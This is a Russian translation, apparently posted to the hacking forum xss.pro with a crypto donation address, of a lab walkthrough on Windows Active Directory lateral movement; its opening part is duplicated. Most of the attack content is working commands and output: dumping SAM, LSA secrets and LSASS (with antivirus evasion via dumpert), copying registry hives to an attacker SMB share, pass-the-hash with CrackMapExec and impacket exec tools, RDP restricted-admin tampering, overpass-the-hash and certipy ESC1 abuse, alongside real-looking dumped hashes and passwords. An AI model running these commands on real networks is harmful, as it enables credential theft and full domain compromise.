ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы попробовали несколько методов повышения привилегий. Сегодня мы поговорим о латеральном перемещении. Боковое перемещение применяется, когда вы уже взломали компьютер и переходите с этого компьютера на другой.
Отдайте мне свои секреты
Прежде чем переходить от компьютера к компьютеру, мы должны получить секреты принадлежащей нам машины.
Windows имеет множество различных секретов, хранящихся в разных местах.
Давайте запустим impacket secretsdump.py и посмотрим, что у нас есть:
База данных менеджера безопасности учетных записей (SAM)
Для начала с помощью secretdump получите хэши SAM:
Давайте поговорим о базе данных sam.
Security Account Manager (SAM) - это база данных, которая присутствует на компьютерах под управлением операционных систем Windows и хранит учетные записи пользователей и дескрипторы безопасности для пользователей на локальном компьютере.
База данных sam находится по адресу : C:\Windows\System32\config\SAM и монтируется в реестре по адресу HKLM/SAM.
Для расшифровки данных необходимо содержимое системного файла, расположенного по адресу C:\Windows\System32\config\SYSTEM и доступного в реестре по адресу HKLM/SYSTEM.
SecretDump получает содержимое HKLM/SAM и HKLM/SYSTEM и расшифровывает его.
Мы сделали дамп базы данных sam с помощью secretsdump, но это можно сделать и с помощью следующих команд:
Или непосредственно в шелле windows:
reg save HKLM\SAM c:\sam
reg save HKLM\SYSTEM c:\system
С помощью SAM и SYSTEM мы получаем содержимое хэшей LM и NT, хранящихся в базе данных SAM.
База данных SAM содержит все локальные учетные записи
secretsdump получил команду для расшифровки содержимого Sam с помощью файлов, которые мы загрузили:
Результат будет в следующем формате:
В нашем случае получаем:
[CODE
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
user: Administrator
RID : 500
LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty)
NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)
[/CODE]
И вот он, долгожданный NT-хэш учетной записи администратора, так что мы можем попробовать с ним пойти дальше.
Повторное использование пароля и атака PTH
В пентесте, когда вы скомпрометировали первую цель в системе active directory, вы всегда должны проверить, одинаковы ли локальные учетные записи на всех серверах.
Почти всегда, когда клиенты не дотягивают до уровня безопасности, они дублируют один и тот же образ для создания всех серверов. При этом они также дублируют одну и ту же учетную запись администратора и пароль.
Это приводит к повторному использованию пароля во всей сети. Одним из лучших способов злоупотребления повторным использованием паролей является атака Pass The Hash (PTH) во всей сети с помощью CrackMapExec.
Здесь мы видим, что нет повторного использования пароля между castelblack и другими серверами.
Но когда компьютер подключается к контроллеру домена, пароль локального администратора используется в качестве пароля администратора домена, поэтому можно проверить повторное использование пароля между локальной учетной записью администратора и учетной записью администратора контроллера домена.
Как мы видим, NT-хэш пароля локального администратора, который мы извлекли из базы данных sam в castelblack, совпадает с NT-хэшем локального администратора north.sevenkingdoms.local.
Повторное использование пароля от castelblack и winterfell дает нам полномочия администратора домена на северном домене.
LM/NT/NTLM/NetNTLMv1/NetNTLMv2 в чем разница?
Существует большая путаница между именами хэшей, и это может очень мешать людям, когда они начинают работать с active directory:
LSA (Local Security Authority) и кэшированная информация о входе в домен
Когда ваш компьютер включен в AD windows, вы можете войти в систему с учетными данными домена. Когда домен недоступен, вы все равно можете использовать свои учетные данные, даже если контроллер домена недоступен. Это происходит из-за кэшированной информации о входе в домен, которая хранит учетные данные для проверки вашей личности. Она хранится в C:\Windows\System32\config\SECURITY (доступно в HKLM\SECURITY). Как и для базы данных sam, вам понадобится системный файл, расположенный по адресу C:\Windows\System32\config\SYSTEM и доступный в реестре по адресу HKLM/SYSTEM.
И извлекаем содержимое:
Это дает нам множество взаимосвязанных данных:
Кэшированные учетные данные домена: пример: NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405 Это даст нам хэш DCC2 (Domain Cached credentials 2 ) (режим hashcat 2100). Этот хэш НЕ может быть использован для PTH поэтому и должен быть взломан. Это криптостайкий хэш и если пароль не слабый на его взлом уйдёт вечность. Учетная запись машины: пример здесь: $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95 Здесь содержится NT-хэш учетной записи машины, здесь он 22d57aa0196b9e885130414dc88d1a95
Помните, что учетная запись машины - это действительная учетная запись в домене.
Учетная запись машины (здесь castelblack$ ) + хэш NT, который мы только что получили, можно использовать для запроса к ldap.
Учетные данные учетной записи службы:
Это реестр учетной записи sql_svc на компьютере castelBraavos.
Здесь же находится главный DPAPI ключ и пароль для автологина
Секреты LSA -> Боковое перемещение
Для того чтобы перейти к боковому перемещению с помощью LSA, мы можем :
Взломать хэш DCC2 для получения учетной записи домена
Использовать учетную запись машины для запроса ldap и найти способы эксплуатации с помощью ACL (так же, как и для учетной записи пользователя)
Использовать учетные данные, хранящиеся в учетной записи службы, которые мы только что получили.
Классическим примером может быть запуск bloudhound.py с учетной записью компьютера.
LSASS (Local Security Authority Subsystem Service)
Еще одним важным хранителем секретов в windows Active directory является процесс LSASS.exe. С помощью таких инструментов, как mimikatz, можно сделать дамп содержимого процесса LSASS. Инструмент особенно полезен при боковом перемещении + удаленном дампе lsass : lsassy Этот инструмент объединяет несколько технологий для удаленного дампа LSASS на нескольких компьютерах. Сброс LSASS почти всегда вызывает тревогу у антивируса на целевом компьютере. Вам придется использовать технику обхода антивируса, чтобы иметь возможность сделать дамп процесса lsass.exe.
Мы будем использовать lsassy в сочетании с модулем dumpert (для получения dll-файла вам придется сначала скомпилировать dumpert).
Защитник av срабатывает с дампом из коробки, но lsassy все еще имеет возможность получить информацию о дампе. Затем мы узнаем NTLM-хэш домена и TGT из процесса Lsass.
Теперь представьте, что привилегированный пользователь запускает соединение с castelblack
Мы перезапускаем дамп и теперь видим, что в результатах есть хэш ntlm catelyn.stark и файл kirbi
Дамп LSASS -> доменные пользователи NTLM или aesKey -> боковое перемещение (PTH и PTK)
Прежде чем перейти к некоторым техникам бокового перемещения, я рекомендую вам прочитать следующие статьи об обычных техниках, реализованных в impacket:
В impacket мы можем использовать :
PTH : -хэши
PTK : -ключ <aes128 или 256key>
Боковое перемещение с помощью impacket
PsExec помечается defender'ом и больше не может использоваться с бинарным файлом службы RemCom, встроенным в impacket, без предупреждения и отказа. Impacket предоставляет возможность изменить сервис, используемый psexec, с помощью опции -file. Создав собственный сервис psexec, вы можете обойти defender av и получить оболочку
По умолчанию cme проверяет только, доступен ли для записи smb admin$. Если это так, то покажет «pwned».
Для выполнения cme используйте параметр -x и по умолчанию используйте метод impacket wmiexec.
Чтобы разрешить rdp-соединение без пароля, вы должны включить ограниченный доступ администратора.
Вот так вот:
Давайте сделаем это из Linux, сначала покажем текущее значение:
Значение не существует, мы его создаем:
Теперь rdp соединение заработало
Как закончите, почистите реестр:
Golden Tiket
Теперь используем тикет catelyn:
Так же используем тикеты с lsassy, используя impacket ticketConverter:
С помощью certipy мы можем запросить хэш ntlm пользователя и TGT.
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы попробовали несколько методов повышения привилегий. Сегодня мы поговорим о латеральном перемещении. Боковое перемещение применяется, когда вы уже взломали компьютер и переходите с этого компьютера на другой.
Отдайте мне свои секреты
Прежде чем переходить от компьютера к компьютеру, мы должны получить секреты принадлежащей нам машины.
Windows имеет множество различных секретов, хранящихся в разных местах.
Давайте запустим impacket secretsdump.py и посмотрим, что у нас есть:
Код:
python3 secretsdump.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22
Impacket v0.10.1.dev1+20220912.232454.86a5cbf8 - Copyright 2022 SecureAuth Corporation
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9753797dfb54be86486d950690bac8ba
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
[*] Dumping cached domain logon information (domain/username:hash)
NORTH.SEVENKINGDOMS.LOCAL/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a
NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405
NORTH.SEVENKINGDOMS.LOCAL/Administrator:$DCC2$10240#Administrator#afb576755bfd2762f808e2e91eb83eb3
NORTH.SEVENKINGDOMS.LOCAL/jon.snow:$DCC2$10240#jon.snow#82fdcc982f02b389a002732efaca9dc5
NORTH.SEVENKINGDOMS.LOCAL/jeor.mormont:$DCC2$10240#jeor.mormont#36d673a934e86d04ece208fc2ba1d402
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
NORTH\CASTELBLACK$:aes256-cts-hmac-sha1-96:69c32491ad552dc341b9f989daeb91243031a3267708f424461f5134fd6275f5
NORTH\CASTELBLACK$:aes128-cts-hmac-sha1-96:0cc49644dd699c02fb34b6ff81a86f8a
NORTH\CASTELBLACK$:des-cbc-md5:3b4fa8679e7f738a
NORTH\CASTELBLACK$:plain_password_hex:9257eeecf6e89023aefa9cc72aab5e0840541b0a494fb5dd90da4244525d3ff3dd237022108f1d811eaf1588cb96a26b9f9ff01326a300893436819216565d07d9ab02a5feb2223d80db9881e4cafdcc939bcbd8b404cfd8ef4f199c233e6adc22963de84bfb172b4ed8afd798c0589ae5c0e304965784e5785cd1fcbccfe30c9b01828d2f10e6fc758eba3be36ec9f5f84bf4e8606bfedbfcfd4700142884277862817141ba9b41d5e9cb4aad33f1153e9e6d166af5077d0ceec54e97614e48b09575732db2053b5da17844015aac0a83d4f3e82d33f0f626f41634e0d445bb80396edf4398b07a1e1644b301665c5f
NORTH\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x8ee2a1f0f4c1689343c9d954b1422661262a52a3
dpapi_userkey:0xad6d3e6789682c3429236b14411f92f406792486
[*] NL$KM
0000 39 FB 46 D8 43 B6 EC E6 DE D7 CE 1C 50 2D AE B4 9.F.C.......P-..
0010 4F 71 E1 25 BF 5E FB 14 86 14 D6 A3 0F 93 DE 42 Oq.%.^.........B
0020 06 48 F4 35 B1 45 83 7E 1A 98 29 D6 45 19 14 D2 .H.5.E.~..).E...
0030 C4 66 57 03 2B C5 04 01 AE 33 49 CD D2 E0 92 CE .fW.+....3I.....
NL$KM:39fb46d843b6ece6ded7ce1c502daeb44f71e125bf5efb148614d6a30f93de420648f435b145837e1a9829d6451914d2c46657032bc50401ae3349cdd2e092ce
[*] _SC_MSSQL$SQLEXPRESS
north.sevenkingdoms.local\sql_svc:YouWillNotKerboroast1ngMeeeeee
[*] Cleaning up...
[*] Stopping service RemoteRegistry
База данных менеджера безопасности учетных записей (SAM)
Для начала с помощью secretdump получите хэши SAM:
Код:
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:0e181c6215bdbfd5b93917da349fc7cd:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Давайте поговорим о базе данных sam.
Security Account Manager (SAM) - это база данных, которая присутствует на компьютерах под управлением операционных систем Windows и хранит учетные записи пользователей и дескрипторы безопасности для пользователей на локальном компьютере.
База данных sam находится по адресу : C:\Windows\System32\config\SAM и монтируется в реестре по адресу HKLM/SAM.
Для расшифровки данных необходимо содержимое системного файла, расположенного по адресу C:\Windows\System32\config\SYSTEM и доступного в реестре по адресу HKLM/SYSTEM.
SecretDump получает содержимое HKLM/SAM и HKLM/SYSTEM и расшифровывает его.
Мы сделали дамп базы данных sam с помощью secretsdump, но это можно сделать и с помощью следующих команд:
Код:
smbserver.py -smb2support share . # start a server to get the result
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SAM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
reg save HKLM\SAM c:\sam
reg save HKLM\SYSTEM c:\system
С помощью SAM и SYSTEM мы получаем содержимое хэшей LM и NT, хранящихся в базе данных SAM.
База данных SAM содержит все локальные учетные записи
secretsdump получил команду для расшифровки содержимого Sam с помощью файлов, которые мы загрузили:
Код:
secretsdump -sam SAM.save -system SYSTEM.save LOCAL
Результат будет в следующем формате:
Код:
<Username>:<User ID>:<LM hash>:<NT hash>:<Comment>:<Home Dir>:
В нашем случае получаем:
[CODE
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
user: Administrator
RID : 500
LM hash : aad3b435b51404eeaad3b435b51404ee (this hash value means empty)
NT hash : dbd13e1c4e338284ac4e9874f7de6ef4 (this is the important result here)
[/CODE]
И вот он, долгожданный NT-хэш учетной записи администратора, так что мы можем попробовать с ним пойти дальше.
Повторное использование пароля и атака PTH
В пентесте, когда вы скомпрометировали первую цель в системе active directory, вы всегда должны проверить, одинаковы ли локальные учетные записи на всех серверах.
Почти всегда, когда клиенты не дотягивают до уровня безопасности, они дублируют один и тот же образ для создания всех серверов. При этом они также дублируют одну и ту же учетную запись администратора и пароль.
Это приводит к повторному использованию пароля во всей сети. Одним из лучших способов злоупотребления повторным использованием паролей является атака Pass The Hash (PTH) во всей сети с помощью CrackMapExec.
Код:
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4' --local-auth
Здесь мы видим, что нет повторного использования пароля между castelblack и другими серверами.
Но когда компьютер подключается к контроллеру домена, пароль локального администратора используется в качестве пароля администратора домена, поэтому можно проверить повторное использование пароля между локальной учетной записью администратора и учетной записью администратора контроллера домена.
Код:
cme smb 192.168.56.10-23 -u Administrator -H 'dbd13e1c4e338284ac4e9874f7de6ef4'
Повторное использование пароля от castelblack и winterfell дает нам полномочия администратора домена на северном домене.
LM/NT/NTLM/NetNTLMv1/NetNTLMv2 в чем разница?
Существует большая путаница между именами хэшей, и это может очень мешать людям, когда они начинают работать с active directory:
- LM : старый формат отключен по умолчанию, начиная с Windows Vista/Server 2008
- NT (он же NTLM) : расположение SAM и NTDS: Используется для передачи хэша (я все еще часто использую общий термин ntlm, чтобы назвать это, извините).
- NTLMv1 (он же NetNTLMv1) : Используется в вызове/ответе между клиентом и сервером -> может быть взломан или использован для передачи NTLM
- NTLMv2 (a.k.a NetNTLMv2) : То же, что и NetNTLMv1, но улучшенный и более сложный для взлома -> может быть взломан или использован для передачи NTLM.
LSA (Local Security Authority) и кэшированная информация о входе в домен
Когда ваш компьютер включен в AD windows, вы можете войти в систему с учетными данными домена. Когда домен недоступен, вы все равно можете использовать свои учетные данные, даже если контроллер домена недоступен. Это происходит из-за кэшированной информации о входе в домен, которая хранит учетные данные для проверки вашей личности. Она хранится в C:\Windows\System32\config\SECURITY (доступно в HKLM\SECURITY). Как и для базы данных sam, вам понадобится системный файл, расположенный по адресу C:\Windows\System32\config\SYSTEM и доступный в реестре по адресу HKLM/SYSTEM.
Код:
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SYSTEM' -o '\\192.168.56.1\share'
reg.py NORTH/jeor.mormont:'_L0ngCl@w_'@192.168.56.22 save -keyName 'HKLM\SECURITY' -o '\\192.168.56.1\share'
Код:
secretsdump -security SECURITY.save -system SYSTEM.save LOCAL
Это дает нам множество взаимосвязанных данных:
Кэшированные учетные данные домена: пример: NORTH.SEVENKINGDOMS.LOCAL/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405 Это даст нам хэш DCC2 (Domain Cached credentials 2 ) (режим hashcat 2100). Этот хэш НЕ может быть использован для PTH поэтому и должен быть взломан. Это криптостайкий хэш и если пароль не слабый на его взлом уйдёт вечность. Учетная запись машины: пример здесь: $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:22d57aa0196b9e885130414dc88d1a95 Здесь содержится NT-хэш учетной записи машины, здесь он 22d57aa0196b9e885130414dc88d1a95
Помните, что учетная запись машины - это действительная учетная запись в домене.
Учетная запись машины (здесь castelblack$ ) + хэш NT, который мы только что получили, можно использовать для запроса к ldap.
Учетные данные учетной записи службы:
Код:
[*] _SC_MSSQL$SQLEXPRESS
(Unknown User):YouWillNotKerboroast1ngMeeeeee
Это реестр учетной записи sql_svc на компьютере castelBraavos.
Здесь же находится главный DPAPI ключ и пароль для автологина
Секреты LSA -> Боковое перемещение
Для того чтобы перейти к боковому перемещению с помощью LSA, мы можем :
Взломать хэш DCC2 для получения учетной записи домена
Использовать учетную запись машины для запроса ldap и найти способы эксплуатации с помощью ACL (так же, как и для учетной записи пользователя)
Использовать учетные данные, хранящиеся в учетной записи службы, которые мы только что получили.
Классическим примером может быть запуск bloudhound.py с учетной записью компьютера.
LSASS (Local Security Authority Subsystem Service)
Еще одним важным хранителем секретов в windows Active directory является процесс LSASS.exe. С помощью таких инструментов, как mimikatz, можно сделать дамп содержимого процесса LSASS. Инструмент особенно полезен при боковом перемещении + удаленном дампе lsass : lsassy Этот инструмент объединяет несколько технологий для удаленного дампа LSASS на нескольких компьютерах. Сброс LSASS почти всегда вызывает тревогу у антивируса на целевом компьютере. Вам придется использовать технику обхода антивируса, чтобы иметь возможность сделать дамп процесса lsass.exe.
Мы будем использовать lsassy в сочетании с модулем dumpert (для получения dll-файла вам придется сначала скомпилировать dumpert).
Код:
lsassy -d north.sevenkingdoms.local -u jeor.mormont -p _L0ngCl@w_ 192.168.56.22 -m dumpertdll -O dumpertdll_path=/workspace/Outflank-Dumpert-DLL.dll
Защитник av срабатывает с дампом из коробки, но lsassy все еще имеет возможность получить информацию о дампе. Затем мы узнаем NTLM-хэш домена и TGT из процесса Lsass.
Теперь представьте, что привилегированный пользователь запускает соединение с castelblack
Код:
xfreerdp /d:north.sevenkingdoms.local /u:catelyn.stark /p:robbsansabradonaryarickon /v:castelblack.north.sevenkingdoms.local /cert-ignore
Мы перезапускаем дамп и теперь видим, что в результатах есть хэш ntlm catelyn.stark и файл kirbi
Дамп LSASS -> доменные пользователи NTLM или aesKey -> боковое перемещение (PTH и PTK)
Прежде чем перейти к некоторым техникам бокового перемещения, я рекомендую вам прочитать следующие статьи об обычных техниках, реализованных в impacket:
- https://www.synacktiv.com/publications/traces-of-windows-remote-command-execution.html
- https://neil-fox.github.io/Impacket-usage-&-detection/
В impacket мы можем использовать :
PTH : -хэши
PTK : -ключ <aes128 или 256key>
Боковое перемещение с помощью impacket
- PsExec
- PsExec:
- загрузить исполняемый файл
- создайте службу для запуска исполняемого файла
- Общайтесь со службой с помощью namedPipe.
- Протокол : SMB
Код:
psexec -hashes 'cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
PsExec помечается defender'ом и больше не может использоваться с бинарным файлом службы RemCom, встроенным в impacket, без предупреждения и отказа. Impacket предоставляет возможность изменить сервис, используемый psexec, с помощью опции -file. Создав собственный сервис psexec, вы можете обойти defender av и получить оболочку
WmiExec
WmiExec (псевдо-шелл):- Создайте новый процесс через wmi
- Создайте файл, чтобы получить результат команды, прочитайте файл с помощью smb и удалите его.
- Протоколы: DCERPC + SMB
Код:
wmiexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
SmbExec
SmbExec (псевдо-шелл):- Не загружать исполняемый файл
- Создавайте сервис по каждому запросу
- Получить результаты команды на общем ресурсе или на сервере, контролируемом злоумышленником (с -mode SERVER)
- Протокол SMB
Код:
smbexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
AtExec (выполнение команд):
Используйте протокол SMB и задавайте команды по расписанию:
Код:
atexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
DcomExec
DecomExec (объектная модель распределенных компонентов):- псевдо-шелл (получить результат в файлах, полученных с помощью smb)
- протокол DCERPC + SMB
Код:
dcomexec.py -hashes ':cba36eccfd9d949c73bc73715364aff5' NORTH/catelyn.stark@192.168.56.11
Боковое перемещение с CME
Код:
cme smb 192.168.56.11 -H ':cba36eccfd9d949c73bc73715364aff5' -d 'north' -u 'catelyn.stark' -x whoami
Для выполнения cme используйте параметр -x и по умолчанию используйте метод impacket wmiexec.
Использование winrm по протоколам HTTP или HTTPS
Код:
evil-winrm -i 192.168.56.11 -u catelyn.stark -H 'cba36eccfd9d949c73bc73715364aff5'
Использование RDP
Если вы попытаетесь сделать PTH с RDP:
Код:
xfreerdp /u:catelyn.stark /d:north.sevenkingdoms.local /pth:cba36eccfd9d949c73bc73715364aff5 /v:192.168.56.11
Чтобы разрешить rdp-соединение без пароля, вы должны включить ограниченный доступ администратора.
Вот так вот:
Код:
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Код:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa'
Значение не существует, мы его создаем:
Код:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin' -vt 'REG_DWORD' -vd '0'
Теперь rdp соединение заработало
Как закончите, почистите реестр:
Код:
reg.py NORTH/catelyn.stark@192.168.56.11 -hashes ':cba36eccfd9d949c73bc73715364aff5' delete -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v 'DisableRestrictedAdmin'
Golden Tiket
Over Pass the Hash (NT -> TGT -> аутентификация) -> получаем тикет из хеша NT:
Код:
getTGT.py -hashes ':cba36eccfd9d949c73bc73715364aff5' north.sevenkingdoms.local/catelyn.stark
Теперь используем тикет catelyn:
Код:
export KRB5CCNAME=/workspace/tgt/catelyn.stark.ccache
wmiexec.py -k -no-pass north.sevenkingdoms.local/catelyn.stark@winterfell
Так же используем тикеты с lsassy, используя impacket ticketConverter:
Код:
ticketConverter.py kirbi_ticket.kirbi ccache_ticket.ccache
Сертификат
Передайте сертификат (Cert -> NTLM или TGT)
- В нашем случае ESC1
Код:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local
Код:
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
использованная литература
- https://www.synacktiv.com/publications/traces-of-windows-remote-command-execution.html
- https://neil-fox.github.io/Impacket-usage-&-detection/
- https://www.ired.team/offensive-security/lateral-movement
- https://www.thehacker.recipes/ad/movement
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/lateral-movement/
- …